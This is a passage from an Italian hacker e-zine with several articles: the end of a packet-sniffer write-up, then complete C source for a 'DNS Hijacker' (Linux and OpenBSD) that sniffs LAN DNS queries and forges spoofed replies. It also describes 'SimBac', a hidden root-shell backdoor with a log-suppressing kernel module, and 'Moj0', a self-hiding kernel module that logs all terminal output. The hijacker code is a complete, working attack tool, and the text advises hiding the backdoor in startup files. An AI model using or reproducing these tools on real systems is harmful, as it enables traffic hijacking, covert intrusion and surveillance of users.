8 15 16 23 24 31 +------+-------+--------------+---------------+--------------+ \ | ver | prio | flow | | | 6 | rity | label | | +------+-------+--------------+---------------+--------------+ | | payload | next | hop | | | lenght | header | limit | | +-----------------------------+---------------+--------------+ | | | | \ / | 4 \ 128-bit destination IPv6 address / | 0 \ / | | | | +------------------------------------------------------------+ | | | | \ / | \ 128-bit destination IPv6 address / | \ / | | | | +------------------------------------------------------------+ \ * I primi 4 bit del primo byte dell'header (0-3) indicano la versione dell'ip (nel nostro caso 6...) e permettono il differenziamento tra le due versioni. * I secondi 4 bit del primo byte dell'header (4-7) indicano la priorita' che non oso spiegare, ma che e' ancora in fase di sviluppo. * I 24 bit del campo 'flow label' (8-31) possono essere scelti casualmente dall'applicazione che ne fa uso (ancora in fase sperimentale...). * I 16 bit del campo 'payload lenght' (0-15) indicano la grandezza di tutto cio' che segue i 40 bytes dell'header ip. * Gli 8 bit del campo 'next header' (16-23) indicano il successivo header a quello ip: questo campo e' potenzialmente simile al campo 'protocol' dell'ipv4, ed usa gli stessi valori per definire i diversi protocolli: 6 tcp, 17 udp... (all'icmpv6 e' stato assegnato il nuovo valore di 58). * Gli 8 bit del campo 'hop limit' (24-31) indicano per quanti router puo' passare il pacchetto...: questo campo e' potenzialmente simile al campo 'ttl' dell'ipv4, il valore di 'hop' e' diminuito di uno per ogni router in cui passa, ed e' ignorato dal router che diminuisce il suo valore a 0. * I due campi da 128 bit l'uno indicano l'ip source & destination address. <-------------------------- FiNE IPv6 HEADeR --------------------------> <----------------------------------------------------------------------> Da tenere conto l'uso di inet_ntop(3) e inet_pton(3) che sono anch'esse protocollo indipendenti: inet_ntop(3) letteralmente ha questo significato: 'network to presentation', ovvero cio' che poteva fare con ipv4 un inet_ntoa... rende, alla fine, 'presentabili' all'occhio umano gli indirizzi ip (la func inversa e' inet_pton(3)): const char *inet_ntop(int af, const void *src, char *dst, size_t cnt); int inet_pton(int af, const char *src, void *dst); queste sono le due func spiegate nelle pagina di man, in cui: int af e' la famiglia degli indirizzi(AF_INET6...); const void *src e' il puntatore al source address; char *dst e' dove verra' copiato il source address; size_t cnt e' la grandezza della struttura in cui e' copiata *src (in6_addr) prima di passare a dst. con queste func e' possibile operare con gli indirizzi ipv6 (ma anche con quelli ipv4). Per il resto, le funzioni che pcksnf.c chiama sono solo per scrivere su file cio' che il prog capta. Quindi avremo per ogni protocollo e versione dell'ip una func diversa. Una piccola nota sulla stampa dei file su .log o stdout: per ogni protocollo vi e' una funzione che chiama, a seconda del tipo di opzioni settate, diverse semplicissime routine per elaborare e stampare i dati. Il file in questione e' printsnf.c: oltre a stampare con la sola opzione -d i dati in formato ascii semplice, con l'opzione -x si chiamera' una diversa funzione che stampera' i dati in tipico formato tcpdump: - a destra otto gruppi di 4 cifre l'una, in formato esadecimale; - a sinistra 16 bit ascii per ogni linea... (ecco la func, spudoratamente scopiazzata alla peggio...): void print_ascii_hex(char *data, u_int l, FILE *log) { u_int offset; u_int i; int s1, s2; int nshorts; char hex[BYTES*DIGITS+1], *hsp; char ascii[BYTES+1], *asp; offset = 0; nshorts = l / sizeof(u_short); i = 0; hsp = hex; asp = ascii; while (--nshorts >= 0) { s1 = *data++; s2 = *data++; (void)snprintf(hsp, sizeof(hex) - (hsp - hex), " %02x%02x", s1, s2); hsp += DIGITS; *(asp++) = (isgraph(s1) ? s1 : '.'); *(asp++) = (isgraph(s2) ? s2 : '.'); if (++i >= SHORTS) { *hsp = *asp = '\0'; fprintf(log, "\n0x%04x %-*s %s", offset, LINE, hex, ascii); i = 0; hsp = hex; asp = ascii; offset += BYTES; } } if (l & 1) { s1 = *data++; (void)snprintf(hsp, sizeof(hex) - (hsp - hex), " %02x", s1); hsp += 3; *(asp++) = (isgraph(s1) ? s1 : '.'); ++i; } if (i > 0) { *hsp = *asp = '\0'; fprintf(log, "\n0x%04x %-*s %s", offset, LINE, hex, ascii); } } La solita routine per i bit, da prendere categoricamente singoli, ed e' fatta... se volete cambiare qualcosa, le definizioni sono in hdhsnf.h (anche per le cifre e i gruppi di cifre che devono comparire sul file al momento della creazione dei .log ...). La func originale (tcpdump) prevedeva anche un'altra variabile passabile alla funzione: l'offset. Se notate, l'offset e' inizializzato a zero e va avanti cosi' per tutto il contenuto del pacchetto (viene logically incrementato...), mentre in quella vera, solo in alcuni casi, e' passato anche l'offset (del tipo 0x200, 0x3a0, etc...)... morale: se vi aggrada, cambiatelo; se sapete dirmi perche' in tcpdump alcune volte si usa l'offset, ditemelo... (thnx). Per le altre funcs di stampa dati, sono sempliciotte e non ci dovrebbero essere grandi problemi... Per una questione di ordine ho diviso i file .c in varie parti, evitando di combinare un casino nel momento in cui andro' a modificare qualcosa. Opzioni: -h help classico e poco soddisfacente -v verbose mode (un po' piu' completo) -d logga qualsiasi dato in formato ascii puro -x logga qualsiasi dato in ascii/esadecimale -l salva nella directory log/ i vari file .log -p setta la modalita' promiscua -N risolve gli ip -i setta l'interfaccia su cui attendere i pacchetti -c logga solo icmp -g logga solo igmp -t logga solo tcp -u logga solo udp Ora, queste opzioni non sono un granche', pero' rendono almeno SNiFf minimamente configurabile. A seconda delle ops, loggherete su file o no. Per il resto, l'output dovrebbe assomigliare molto da vicino a questo... Per compilare il prog, anche se ce ne dovrebbe essere gia' uno compilato, tipate 'make' e sara' tutto finito... All'interno della dir libpcap c'e' la libreria omonima gia' compilata anch'essa: se ci dovessero essere problemi, tipate 'make clean' e dopo ricompilate tutto dall'inizio (make; make install)... per il resto dovrebbe essere ok... Che dirvi? Provatelo... Se avete da ridire, vi incazzate, qualcosa vi fa schifo, non vi funziona nulla: scrivetemi e risolvero' i vostri problemi (sempre nei limiti del possibile)... Comunque continuero' a sviluppare codesto tool, e per gioco e per passione, e chissa', forse, anche per utilita'... quindi qualsiasi consiglio, aiuto, suggerimento etc... sono graditissimi (scrivetemi alla mail che trovate da qualche parte)... THNX: Ringrazio per prima cosa tutti i ragazzi di BFi, che se non ci fossero stati loro, non avrei mai capito nulla (e parlo della mia vita, mica del codice...). Poi FuSyS, personalmente, che mi ha dato grandi notizie e spunti (e che prima o poi vorrei incontrare). Grazie a LORDBUFFY, il mio maestro di stronzate e di linuzzo, e a tutti quelli che come al solito dimentico (perche' ho la testa distrutta dalla malattia della vita: l'AMoRE...). A ELenA (che mai lo leggera', ma AMO per davvero...) bye-byez, ragazzi. uLiX [ uLiX@gmx.it ] [ NDR: i file del progetto sono in attachment/SNiFf-0.3.tar.gz ] --[ KUNDERA DNS HiJACKER v1.1 ---[ Kundera <-| threads/kdh_linux11.c |-> /* Kundera DNS Hijacker Linux version 1.1 This program sniff dns query in a lan from a single or all source IP adrs. Afeter the sniff forge and send the reply with the spoofed address of dns server and redirect the client to a custom IP address with custom time to live in the reply. Compile in this mode : gcc kdh_obsd.c -lpcap -O2 -o ./kdh Libpcap required, download at http://www.tcpdump.org Tested on Slackware 7.0 Linux 2.2.13 - i386 Author : kundera@tiscalinet.it Sysop of Digital Skull BBS +39-2-93163367 24h/24h ANSI http://web.tiscalinet.it/dskull Thanks to pigpen@s0ftpj.org for the "sniffer engine" :) */ #include #include #include #include #include #include #include #include #include #include #include #define TTLDEFAULT 80000 pcap_t *pcap_global_descriptor; char *deviceglobal=NULL; int offset,dnsquery,sok,monitor=0; struct in_addr sourceip_addr; struct in_addr destip_addr; struct sockaddr_in dest; unsigned short udpsourceport; char dnspayl[1024]; char *dnspayload; char *data2,c,*ipquery; unsigned char dnsstring[255]; u_long ttlquery=TTLDEFAULT,ipclient=0; struct dnshdr { unsigned short int id; unsigned char rd:1; unsigned char tc:1; unsigned char aa:1; unsigned char opcode:4; unsigned char qr:1; unsigned char rcode:4; unsigned char unused:3; unsigned char ra:1; unsigned short int que_num; unsigned short int rep_num; unsigned short int num_rr; unsigned short int num_rrsup; } *dnsrecv,*dnssend; struct pseudoudp { u_long ipsource; u_long ipdest; char zero; char proto; u_short length; } *psudp; /* ---------------------------------------------------------------------- */ in_cksum (unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } void pcap_device_on(void) { char errbuf[400]; int datalink; if (!deviceglobal || !strcmp(deviceglobal, "default")) { deviceglobal=pcap_lookupdev(errbuf); printf("Sniffing whith device :"); printf(" %s.\n\n", deviceglobal); } if (!deviceglobal) { printf("Error getting sniffing device - %s\n", errbuf); exit(1); } pcap_global_descriptor = pcap_open_live(deviceglobal, 68,1, 1000, errbuf); if (!pcap_global_descriptor) { printf("error opening pcap: %s\n", errbuf); exit(1); } datalink = pcap_datalink(pcap_global_descriptor); switch (datalink) { case DLT_EN10MB: offset = 14; break; case DLT_NULL: case DLT_PPP: offset = 4; break; case DLT_SLIP: offset = 16; break; case DLT_RAW: offset = 0; break; case DLT_SLIP_BSDOS: case DLT_PPP_BSDOS: offset = 24; break; default: printf("unknown datalink type (%d)", datalink); exit(-1); } } void ethclose() { if(pcap_global_descriptor) pcap_close(pcap_global_descriptor); printf("...DnsHijacking terminated.--\n"); printf("...remember to call Digital Skull BBS +39-2-93163367 24h/24h !!--\n\n"); exit(0); } void usage (void) { printf("Kundera DNS Hijacker v1.1\n"); printf("Usage: kdh [-m monitor mode] -h ip_addr in the reply [-s ip_addr of client] [-t ttl of reply]\n"); } void sniff_and_spoofreply(void) { struct ip *IP; struct udphdr *UDP; int ipsize,udpsize; struct pcap_pkthdr lpcap_hdr; char *sniff_buff; char *packet; char *packetck; unsigned char *data; if((sniff_buff=(char *) pcap_next(pcap_global_descriptor, &lpcap_hdr))){ (char *) sniff_buff+=offset; IP = (struct ip *) sniff_buff; if (IP->ip_p == IPPROTO_UDP){ ipsize=sizeof(*IP); UDP = (struct udphdr *) ((char *)sniff_buff + ((int)IP->ip_hl << 2)); udpsize=sizeof(*UDP); if (((IP->ip_src.s_addr == ipclient)&& (ntohs(UDP->dest)==53))||((ipclient==0)&& (ntohs(UDP->dest)==53))) { sourceip_addr = IP->ip_src; destip_addr = IP->ip_dst; udpsourceport = ntohs(UDP->source); bzero(dnspayl,sizeof(dnspayl)); printf("DNS query sniffed...from %s:%d\n", inet_ntoa(sourceip_addr),udpsourceport); if (monitor == 0){ dnsrecv = (struct dnshdr *)(sniff_buff+ipsize+udpsize); dnspayload = (char *)(sniff_buff+ipsize+udpsize+sizeof(*dnsrecv)); strcpy(dnsstring,dnspayload);/*copia il payload dns in dnstring*/ memcpy(dnssend,dnsrecv,sizeof(*dnsrecv)+strlen(dnsstring)+5); dnssend->id=dnsrecv->id; dnssend->aa=1; dnssend->ra=1; dnssend->qr=1; dnssend->rep_num = htons(1); dnsquery=strlen(dnsstring)+5; strncpy(data2+dnsquery,dnsstring,sizeof(dnsstring)+5); dnsquery=dnsquery+strlen(dnsstring)+1; *((u_short *)(data2+dnsquery)) = htons(1); *((u_short *)(data2+dnsquery+2))= htons(1); *((u_long *)(data2+dnsquery+4)) = htonl(ttlquery); *((u_short *)(data2+dnsquery+8))= htons(4); *((u_long *)(data2+dnsquery+10)) = inet_addr(ipquery); dnsquery=dnsquery+14; if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0) { printf("Errore nella creazione del socket.\n"); exit(EXIT_FAILURE); } packet = ( char * )malloc( ipsize + udpsize + dnsquery + 12 ); IP = (struct ip *)packet; memset(packet,0,sizeof(packet)); IP->ip_src.s_addr = destip_addr.s_addr; IP->ip_dst.s_addr = sourceip_addr.s_addr; IP->ip_v = 4; IP->ip_hl = 5; IP->ip_ttl = 245; IP->ip_id = htons(666); IP->ip_p = 17; IP->ip_len = htons(ipsize + udpsize + dnsquery+12); IP->ip_sum = in_cksum((u_short *)packet,ipsize); UDP = (struct udphdr *)(packet+ipsize); UDP->source = htons(53); UDP->dest = htons(udpsourceport); UDP->len = htons(udpsize+dnsquery+12); UDP->check = 0; packetck = (char *)malloc(udpsize + dnsquery + 12 + sizeof(struct pseudoudp)); bzero(packetck,udpsize + dnsquery + 12 + sizeof(struct pseudoudp)); psudp = (struct pseudoudp *) (packetck); psudp->ipsource = destip_addr.s_addr; psudp->ipdest = sourceip_addr.s_addr; psudp->zero = 0; psudp->proto = 17; psudp->length = htons(udpsize+dnsquery+12); memcpy(packetck+sizeof(struct pseudoudp),UDP,udpsize+dnsquery+12); memcpy(packetck+sizeof(struct pseudoudp)+udpsize,dnspayl,dnsquery+12); UDP->check = in_cksum((u_short *)packetck,udpsize+dnsquery+12+ sizeof(struct pseudoudp)); data = (unsigned char *)(packet+ipsize+udpsize); memcpy(data,dnspayl,dnsquery+12); dest.sin_family=AF_INET; dest.sin_addr.s_addr=destip_addr.s_addr; if (( sendto(sok,packet,ipsize+udpsize+dnsquery+12,0,( struct sockaddr * ) &dest,sizeof(dest)))<0) { printf("Error sending packet.\n"); exit(EXIT_FAILURE); } close(sok); printf("Spoofed reply sent.\n"); } } } } } int main(int argc,char **argv){ if (argc < 2){ usage(); exit(1); } while((c=getopt(argc,argv,"h:t:s:m"))!=EOF){ switch(c) { case 'h': ipquery=optarg; break; case 't': ttlquery=atol(optarg); break; case 's': ipclient=inet_addr(optarg); break; case 'm': monitor = 1; } } signal(SIGINT, ethclose); signal(SIGTERM, ethclose); signal(SIGKILL, ethclose); signal(SIGQUIT, ethclose); dnssend = (struct dnshdr *)dnspayl; data2 = (char *)(dnspayl+12); if (monitor == 1){ printf("Monitoring mode ...\n"); }else{ printf("Sniff & reply mode ...\n"); } pcap_device_on(); while(1){ sniff_and_spoofreply(); } } <-X-> <-| threads/kdh_obsd11.c |-> /* Kundera DNS Hijacker OpenBSD version 1.1 This program sniff dns query in a lan from a single or all source IP adrs. After the sniff forge and send the reply with the spoofed address of dns server and redirect the client to a custom IP address with custom time to live in the reply. Compile in this mode : gcc kdh_obsd.c -lpcap -O2 -o ./kdh Libpcap required, download at http://www.tcpdump.org Tested on OpenBSD 2.6 & 2.8 on i386 Author : kundera@tiscalinet.it Sysop of Digital Skull BBS +39-2-93163367 24h/24h ANSI http://web.tiscalinet.it/dskull Thanks to pigpen@s0ftpj.org for the "sniffer engine" :) */ #include #include #include #include #include #include #include #include #include #include #include #include #define TTLDEFAULT 80000 pcap_t *pcap_global_descriptor; char *deviceglobal=NULL; int offset,dnsquery,sok,opt,monitor=0; struct in_addr sourceip_addr; struct in_addr destip_addr; struct sockaddr_in dest; unsigned short udpsourceport; char dnspayl[1024]; char *dnspayload; char *data2,c,*ipquery; unsigned char dnsstring[255]; u_long ttlquery=TTLDEFAULT,ipclient=0; struct dnshdr { unsigned short int id; unsigned char rd:1; unsigned char tc:1; unsigned char aa:1; unsigned char opcode:4; unsigned char qr:1; unsigned char rcode:4; unsigned char unused:3; unsigned char ra:1; unsigned short int que_num; unsigned short int rep_num; unsigned short int num_rr; unsigned short int num_rrsup; } *dnsrecv,*dnssend; struct pseudoudp { u_long ipsource; u_long ipdest; char zero; char proto; u_short length; } *psudp; /*---------------------------------------------------------------------------*/ in_cksum (unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } void pcap_device_on(void) { char errbuf[400]; int datalink; if (!deviceglobal || !strcmp(deviceglobal, "default")) { deviceglobal=pcap_lookupdev(errbuf); printf("Sniffing whith device :"); printf(" %s.\n\n", deviceglobal); } if (!deviceglobal) { printf("Error getting sniffing device - %s\n", errbuf); exit(1); } pcap_global_descriptor = pcap_open_live(deviceglobal, 68,1, 1000, errbuf); if (!pcap_global_descriptor) { printf("error opening pcap: %s\n", errbuf); exit(1); } datalink = pcap_datalink(pcap_global_descriptor); switch (datalink) { case DLT_EN10MB: offset = 14; break; case DLT_NULL: case DLT_PPP: offset = 4; break; case DLT_SLIP: offset = 16; break; case DLT_RAW: offset = 0; break; case DLT_SLIP_BSDOS: case DLT_PPP_BSDOS: offset = 24; break; default: printf("unknown datalink type (%d)", datalink); exit(-1); } } void ethclose() { if(pcap_global_descriptor) pcap_close(pcap_global_descriptor); printf("...DnsHijacking terminated.--\n"); printf("...remember to call Digital Skull BBS +39-2-93163367 24h/24h !!--\n\n"); exit(0); } void usage (void) { printf("Kundera DNS Hijacker v1.1\n"); printf("Usage: kdh [-m monitor mode] -h ip_addr in the reply [-s ip_addr "\ "of client] [-t ttl of reply]\n"); } void sniff_and_spoofreply(void) { struct ip *IP; struct udphdr *UDP; int ipsize,udpsize; struct pcap_pkthdr lpcap_hdr; char *sniff_buff; char *packet; char *packetck; unsigned char *data; if((sniff_buff=(char *) pcap_next(pcap_global_descriptor, &lpcap_hdr))){ (char *) sniff_buff+=offset; IP = (struct ip *) sniff_buff; if (IP->ip_p == IPPROTO_UDP){ ipsize=sizeof(*IP); UDP = (struct udphdr *) ((char *)sniff_buff + ((int)IP->ip_hl << 2)); udpsize=sizeof(*UDP); if (((IP->ip_src.s_addr == ipclient)&& (ntohs(UDP->uh_dport)==53))||((ipclient==0)&& (ntohs(UDP->uh_dport)==53))) { sourceip_addr = IP->ip_src; destip_addr = IP->ip_dst; udpsourceport = ntohs(UDP->uh_sport); bzero(dnspayl,sizeof(dnspayl)); printf("DNS query sniffed...from %s:%d\n", inet_ntoa(sourceip_addr),udpsourceport); if (monitor == 0){ dnsrecv = (struct dnshdr *)(sniff_buff+ipsize+udpsize); dnspayload = (char *)(sniff_buff+ipsize+udpsize+sizeof(*dnsrecv)); strcpy(dnsstring,dnspayload); memcpy(dnssend,dnsrecv,sizeof(*dnsrecv)+strlen(dnsstring)+5); dnssend->id=dnsrecv->id; dnssend->aa=1; dnssend->ra=1; dnssend->qr=1; dnssend->rep_num = htons(1); dnsquery=strlen(dnsstring)+5; strncpy(data2+dnsquery,dnsstring,sizeof(dnsstring)+5); dnsquery=dnsquery+strlen(dnsstring)+1; *((u_short *)(data2+dnsquery)) = htons(1); *((u_short *)(data2+dnsquery+2))= htons(1); *((u_long *)(data2+dnsquery+4)) = htonl(ttlquery); /*ttl della query*/ *((u_short *)(data2+dnsquery+8))= htons(4); *((u_long *)(data2+dnsquery+10)) = inet_addr(ipquery); dnsquery=dnsquery+14; if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0) { printf("Errore nella creazione del socket.\n"); exit(EXIT_FAILURE); } opt=1; if (setsockopt(sok,IPPROTO_IP,IP_HDRINCL,&opt,sizeof(opt)) < 0) { printf("Errore nelle opzioni del socket.\n"); exit(EXIT_FAILURE); } packet = ( char * )malloc( ipsize + udpsize + dnsquery + 12 ); IP = (struct ip *)packet; memset(packet,0,sizeof(packet)); IP->ip_src.s_addr = destip_addr.s_addr; IP->ip_dst.s_addr = sourceip_addr.s_addr; IP->ip_v = 4; IP->ip_hl = 5; IP->ip_ttl = 245; IP->ip_id = htons(666); IP->ip_p = 17; IP->ip_len = htons(ipsize + udpsize + dnsquery+12); IP->ip_sum = in_cksum((u_short *)packet,ipsize); UDP = (struct udphdr *)(packet+ipsize); UDP->uh_sport = htons(53); UDP->uh_dport = htons(udpsourceport); UDP->uh_ulen = htons(udpsize+dnsquery+12); UDP->uh_sum = 0; packetck = (char *)malloc(udpsize + dnsquery + 12 + sizeof(struct pseudoudp)); bzero(packetck,udpsize + dnsquery + 12 + sizeof(struct pseudoudp)); psudp = (struct pseudoudp *) (packetck); psudp->ipsource = destip_addr.s_addr; psudp->ipdest = sourceip_addr.s_addr; psudp->zero = 0; psudp->proto = 17; psudp->length = htons(udpsize+dnsquery+12); memcpy(packetck+sizeof(struct pseudoudp),UDP,udpsize+dnsquery+12); memcpy(packetck+sizeof(struct pseudoudp)+udpsize,dnspayl,dnsquery+12); UDP->uh_sum = in_cksum((u_short *)packetck,udpsize+dnsquery+12+ sizeof(struct pseudoudp)); data = (unsigned char *)(packet+ipsize+udpsize); memcpy(data,dnspayl,dnsquery+12); dest.sin_family=AF_INET; dest.sin_addr.s_addr=destip_addr.s_addr; if((sendto(sok,packet,ipsize+udpsize+dnsquery+12,0,( struct sockaddr * ) &dest,sizeof(dest)))<0) { printf("Error sending packet.\n"); exit(EXIT_FAILURE); } printf("Spoofed reply sent.\n"); close(sok); } } } } } int main(int argc,char **argv){ if (argc < 2){ usage(); exit(1); } while((c=getopt(argc,argv,"h:t:s:m"))!=EOF){ switch(c) { case 'h': ipquery=optarg; break; case 't': ttlquery=atol(optarg); break; case 's': ipclient=inet_addr(optarg); break; case 'm': monitor = 1; } } signal(SIGINT, ethclose); signal(SIGTERM, ethclose); signal(SIGKILL, ethclose); signal(SIGQUIT, ethclose); dnssend = (struct dnshdr *)dnspayl; data2 = (char *)(dnspayl+12); if (monitor == 1){ printf("Monitoring mode ...\n"); }else{ printf("Sniff & reply mode ...\n"); } pcap_device_on(); while(1){ sniff_and_spoofreply(); } } <-X-> --[ SimBac: Simple Backdoor v 0.0 alpha beta gamma delta ---[ Tharkas - http://tharkas.mascanc.net DISCLAIMER: L'autore del presente articolo e del programma SimBac non ha nessuna responsabilita` dei danni che i file contenuti nel pacchetto simbac.tar.gz possono provocare al vostro o ad altri computer, se usati in modo scorretto. Dedica: Quattro parole... Eleonora, io ti amo. Fanculo a: Gli amici che ti stanno vicino finche` non osi criticarli quando fanno stronzate. Indice 1. DISCLAIMER 2. SALUTI DEL CAZZO 3. COS'E' SIMBAC ? 4. CONFIGURAZIONE 5. INSTALLAZIONE 6. USO 7. BUGS CONOSCIUTI 8. COMPATIBILITA' 9. MIGLIORAMENTI PREVISTI 10. CONCLUSIONI 3. COS'E` SIMBAC ? Si tratta di una backdoor esclusivamente per sistemi linux (testata su kernel 2.2.x o superiori, non avendo a disposizione un 2.0.x) costruita in tre parti: il server (1), che si occupa di ricevere pacchetti spoofati dal client (2), e nel caso sia stato adeguatamente 'sollecitato', fa partire il modulo (3), che si occupa di nascondere allegramente la nostra identita` ai log impedendo al sistema di scriverli. Tutto questo si traduce in una invisibilita` pressoche` completa... (perche` pressoche`? Vedere i paragrafi "miglioramenti previsti" e "bugs"). Ma ora basta gonfiarsi il petto e vantarsi smisuratamente (e senza motivo), passiamo ai dati tecnici! 4. CONFIGURAZIONE Per configurare questo programma, avrete bisogno di smanettare nelle righe iniziali dei sorgenti: - Il file server.c contiene dei #define che vanno cambiati a seconda delle vostre esigenze: #define PASSWORD "simbac" #define INSMOD_PATH "/sbin/insmod" #define MODULE_PATH "./module.o" #define RMMOD_PATH "/sbin/rmmod" #define MODULE_NAME "module" - Il file module.c contiene un'unico define, MODULE_NAME, che deve essere accordato con quello del server.c . "E non potevi scrivere qualcosa di interattivo per inserire i dati durante l'installazione ?" "Si`." ... "Perche` non l'hai fatto?" "Nessuno ha detto che i miei programmi devono essere usati da individui dotati dell'intelligenza di un turacciolo." 5 - INSTALLAZIONE Per il server 'make server'. Per il client 'make client'. Non ci dovrebbero essere particolari problemi, no ? =) 6 - USO Premesso che sarebbe meglio imboscare l'apertura del server nei file di avvio del sistema bersaglio, eccovi una piccola dimostrazione. [root@localhost simbac]# ./server [root@localhost simbac]# ./client Usage: ./client [root@localhost simbac]# ./client localhost 110 ciaociao SimBac client v0.0 Alpha Beta Gamma Delta by Tharkas Dedicated to.. Eleonora. Password: [root@localhost simbac]# telnet localhost 110 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. sh: no job control in this shell sh-2.04# echo ciaociao sh-2.04# exit Connection closed by foreign host. Come avete visto, il tentativo di scrivere 'ciaociao' di una write() e` stato intercettato e bloccato. In un contesto reale, 'ciaociao' sarebbe stato l'host della macchina dell'attacker, e al modulo sarebbe stato passato anche l'ip in forma di stringa, per ottenere lo stesso comportamento. NOTA: mi scuso per avervi solo potuto mostrare una dimostrazione su lo... Un altro computer e un paio di schede di rete sarebbero un regalo gradito per il prossimo programma :P A proposito: se volete riattivare la shell dopo averla chiusa dovete necessariamente riutilizzare il client: non sarebbe una bella cosa lasciare una rootshell aperta per 50 ore su un sistema in attesa della vostra venuta, eh ? =) 7 - BUGS CONOSCIUTI - E' sconveniente provare a scrivere una delle frasi 'proibite' in un ambiente X, perche` si va incontro ad un effetto variabile tra il blocco del programma in questione per qualche secondo ed il crash di X. A occhio (cioe` senza uno studio approfondito), questo effetto e` probabilmente dato dallo scombussolamento generato da una frase non scritta che il computer crede di aver scritto. (Periodo un po' contorto, ma tant'e`...) - Non da` garanzie di funzionamento per i sistemi su cui non e` stato testato SimBac (paragrafo "COMPATIBILITA`"). Del resto, non da` garanzie di funzionamento neppure per quelli che ho testato =) 8 - COMPATIBILITA` SimBac e` stato testato su: - RedHat Linux 7.1 e 7.2 (e chi si ricorda la versione del kernel? Le ho messe su solo per vedere se andava il prog..) - Slackware 7.0, kernel 2.2.13 e 2.4.0 (dist vecchiotta, ma insuperabile) Punto. Che vi aspettavate? Che vi dicessi che gira anche su AIX? :P 9. MIGLIORAMENTI PREVISTI Il difetto principale del programma e` che il ps 'vede' il server... Ma questo non e` correggibile se non con un altro modulo o con un rootkit. Questa operazione e` alla portata di qualunque marmocchio. :P 10. CONCLUSIONI Molti mi hanno chiesto per quale motivo ho rilasciato un sorgente che poteva essere molto piu` completo.. Il motivo e` semplice. Anzi, ci sono due motivi. 1 - Le modifiche da apportare per migliorarlo sono talmente ridicole che anche il turacciolo di cui parlavo sopra sarebbe in grado di apportarle. Non dico questo perche` ritengo il mio programma perfetto, ma semplicemente perche` lo 'scheletro' esiste gia` e aggiungere nuova robba e` semplice. (piccolo indizio: case-sensitive). 2 - Non ho nessuna intenzione di rilasciare un programma che potenzialmente potrebbe provocare seri danni a qualche povera azienda.. Se volete far danno, accomodatevi, ma prima avrete da aggiustare. Ogni commento e` futile, non cambiera` idea. (Dico questo perche` c'e` stata molta insistenza da questo punto di vista). Bene, io ho finito.. Divertitevi con il mio programmuccio... E cercate di non farvi beccare. - Tharkas (tharkas@tiscalinet.it) PS: l'ho gia` detto, pero`.. Eleonora ti amo! [ NDR: i file del progetto sono in attachment/simbac.tar.gz ] --[ Moj0 v0.1 ---[ uLiX Ecco che seguendo i passi di vecna, e trovando affatto difficile il modulo per freebsd che intercettava la SYS_ioctl per catturare le password tipate senza echo via terminale, ho provato a mettere in pratica l'esempio. Ora, Moj0_lkm e' un moduletto semplice semplice che intercetta la SYS_write e salva il contenuto di tutto il buffer che e' passato come secondo argomento della suddetta syscall su di un file a scelta, il che equivale a dire che ogni qualvolta un programma utilizzera` questa syscall (e sono moltissimi...) tutto cio` che e` letteralmente letto verra` intercettato. Puramente dal lato admin, (anche se io non lo userei, per tutte le paranoiche questioni sulla privacy...), il moduletto va a pennello: ti viene il dubbio che un utente disgraziato stia manipolando a suo piacere, dopo aver conquistato la root, la tua box, e tu carichi il modulo; se l'utente e` connesso in quel momento, al 99% riuscirai a vedere cosa *digita* da un qualsiasi terminale. L'idea m'e` venuta quando un giorno uno stronzetto di mio amico vero si e` connesso alla mia box: da un momento all'altro vedevo solo la connessione via netstat o altri tooletti belli belli, ma *non* sapevo proprio cosa facesse... (naturalmente non ho usato nessuno snifero, e poi da locale cosa accade?...): alla fine gli ho killato la connessione per puro piacere di farlo, e perche` il dubbio aveva preso oramai il sopravvento. Risolto questo mio problema, (anche se di tool cosi` ce ne sono un'infinita`, e anche di migliori sicuramente...), ora sto in pace con me stesso... Notate bene: le password non ve le sniffera` mai, metteteci voi le manuccie sopra, magari con la SYS_read direttamente... ma sta a voi... Il Makefile e` 'na cazzata, e per compilare come al solito tipate *make*. Se volete che il modulo non sia visibile e tutto sia messo a posto con un semplice comandino, tipate *make up*, e il modulo s'installera`, dopo di lui un altro (rippato e adattato da adore, ma leggete il sorgente...) nascondera` il primo e poi si auto disinstallera'... Se *non* volete, insmod Moj0_lkm.o etcetera etcetera... Di optioni ne ha solo una, che e` un paramentro: [root@SOfTHACk: ~/LKM/Moj0-0.1]# insmod Moj0_lkm.o log=/tmp/tty.log logghera` tutto in tty.log nella tmp dir... Di default ci sta /dev/tty12, che di solito non si usa, ma poi scegliete pure voi. Particolarita` di log su file e` che le seq di escape e compagnia bella non sono interpretate dal terminale, per esempio, e quindi ve le ritroverete tutte li` sul file... cazzate so'... Per ora non potete scegliere il terminale da loggare, e per ora il mod logghera` solo terminali, o qualsiasi cosa abbiate sulla vostra box con major number uguale a 4... Dopo di che, sto abbastanza strano: * primo, divertitevi... * sec, non fate cazzate (di tutti i generi...)... * ultimo, codate... Thnx a vecna, BFi, L0RDBUFFY, ELeN, S..., moduli e sourecs, linux, linus, pc, mo sto stronzando veramente, ecc, ecc... Scrivete volendo... uLiX [ 